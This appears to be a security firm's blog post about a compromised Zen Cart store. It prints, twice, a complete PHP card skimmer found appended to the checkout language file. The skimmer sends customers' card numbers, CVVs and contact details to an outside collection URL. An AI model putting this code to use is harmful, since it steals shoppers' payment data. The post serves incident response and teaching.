When it comes to dealing with hacked websites there are lots of people who feel it is appropriate for them to do that work without seeming to have any of the expertise needed to be able to properly do the work. We often see the end result of that when we are brought in to re-clean hacked websites after somebody else did it and then the website got re-hacked. We usually find that the original people doing the cleanup didn’t even attempt to do central parts of the cleanup (like determining how the website was hacked). The lack of expertise also showed up recently we were contacted about a Zen Cart based website where credit card information was seeming to be compromised on the website, as fraudulent charges were being made to credit card accounts after they were used on the website.
When we were contacted about this we were confused by a question raised, which was if we charge if were not able to find the vulnerability. Why would someone charge if they were not able to complete the work? In answering that, we were told that other people had looked into this and had not been to identify the problem. That seemed odd to us, since we have never had a problem finding the source of a credit card breaches in the past. The fact that the people that couldn’t find it were then recommending resolving the by upgrading Zen Cart, seemed to point the not knowing what they are doing at all (since upgrading the software on a website is not the proper way to clean up a hacked website). But maybe the code that was compromising the credit card information was well hidden?
One of the easiest thing to do when looking for malicious code on a website is to compare the contents of its files to a freshly downloaded copy of the software being used on it. When we did that with this website we found that one of the files modified from its original form was /languages/english/checkout_confirmation.php. Based on the file’s name that would seem to be possible location where the code to compromise credit card information might be. The modification involved the following code having been appended to the file:
$data1 = $_POST['paypalwpp_cc_firstname'];
$data2 = $_POST['paypalwpp_cc_lastname'];
$data3 = $order->billing['street_address'];
$data4 = '';
$data5 = $order->billing['city'];
$data6 = $order->billing['state'];
$data7 = $order->delivery['postcode'];
$data8 = $order->billing['country']['iso_code_2'];
$data9 = $order->customer['telephone'];
$data10 = $_POST['paypalwpp_cc_number'];
$data11 = $_POST['paypalwpp_cc_expires_month'];
$data12 = $_POST['paypalwpp_cc_expires_year'];
$data13 = $_POST['paypalwpp_cc_checkcode'];
$data14 = ''; // credit card owner
$data15 = "[redacted domain name]";
$data16 = $order->customer['email_address'];
$data17 = ''; // county
$post77 = "firstname=".($data1)."&lastname=".($data2)."&street1=".($data3)."&street2=".($data4)."&city=".($data5)."&state=".($data6)."&zip=".($data7)."&country=".($data8)."&phonenumber=".($data9)."&ccnumber=".($data10)."&expmonth=".($data11)."&expyear=".($data12)."&cvv=".($data13)."&comment1=".$data14."&comment2=".$data15."&email=".($data16)."&county=".($data17);
$url = "http://magecard.xyz/add";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url); // set url to post to
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);// allow redirects
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
curl_setopt($ch, CURLOPT_TIMEOUT, 60); // times out after 4s
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post77);
$result = curl_exec($ch); // run the whole process
curl_close($ch); |
$data1 = $_POST['paypalwpp_cc_firstname'];
$data2 = $_POST['paypalwpp_cc_lastname'];
$data3 = $order->billing['street_address'];
$data4 = '';
$data5 = $order->billing['city'];
$data6 = $order->billing['state'];
$data7 = $order->delivery['postcode'];
$data8 = $order->billing['country']['iso_code_2'];
$data9 = $order->customer['telephone'];
$data10 = $_POST['paypalwpp_cc_number'];
$data11 = $_POST['paypalwpp_cc_expires_month'];
$data12 = $_POST['paypalwpp_cc_expires_year'];
$data13 = $_POST['paypalwpp_cc_checkcode'];
$data14 = ''; // credit card owner
$data15 = "[redacted domain name]";
$data16 = $order->customer['email_address'];
$data17 = ''; // county
$post77 = "firstname=".($data1)."&lastname=".($data2)."&street1=".($data3)."&street2=".($data4)."&city=".($data5)."&state=".($data6)."&zip=".($data7)."&country=".($data8)."&phonenumber=".($data9)."&ccnumber=".($data10)."&expmonth=".($data11)."&expyear=".($data12)."&cvv=".($data13)."&comment1=".$data14."&comment2=".$data15."&email=".($data16)."&county=".($data17);
$url = "http://magecard.xyz/add";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url); // set url to post to
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);// allow redirects
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
curl_setopt($ch, CURLOPT_TIMEOUT, 60); // times out after 4s
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post77);
$result = curl_exec($ch); // run the whole process
curl_close($ch);
Even if you not an all that familiar with PHP code it is pretty obvious that this code has something to do with credit card information. Combine that with the fact that that code is so different that legitimate code in the file, which involves defining the language to be used on the checkout confirmation page:
define('NAVBAR_TITLE_1', 'Checkout');
define('NAVBAR_TITLE_2', 'Confirmation');
define('HEADING_TITLE', 'Step 3 of 3 - Order Confirmation');
define('HEADING_BILLING_ADDRESS', 'Billing/Payment Information');
define('HEADING_DELIVERY_ADDRESS', 'Delivery/Shipping Information');
define('HEADING_SHIPPING_METHOD', 'Shipping Method:');
define('HEADING_PAYMENT_METHOD', 'Payment Method:');
define('HEADING_PRODUCTS', 'Shopping Cart Contents');
define('HEADING_TAX', 'Tax');
define('HEADING_ORDER_COMMENTS', 'Special Instructions or Order Comments');
// no comments entered
define('NO_COMMENTS_TEXT', 'None');
define('TITLE_CONTINUE_CHECKOUT_PROCEDURE', '<strong>Final Step</strong>');
define('TEXT_CONTINUE_CHECKOUT_PROCEDURE', '- continue to confirm your order. Thank you!');
define('OUT_OF_STOCK_CAN_CHECKOUT', 'Products marked with ' . STOCK_MARK_PRODUCT_OUT_OF_STOCK . ' are out of stock.<br />Items not in stock will be placed on backorder.');
It is hard to see how this could have been missed unless the people trying to find it had no business getting involved in working on something like this.
As to the what allow the code to be added to the website, we were only able to track it back to a Russian IP address that looked to have already gained some level of access to the website. As they were able to login in to the Zen Cart backend and look to have been able to read and write to files on the website.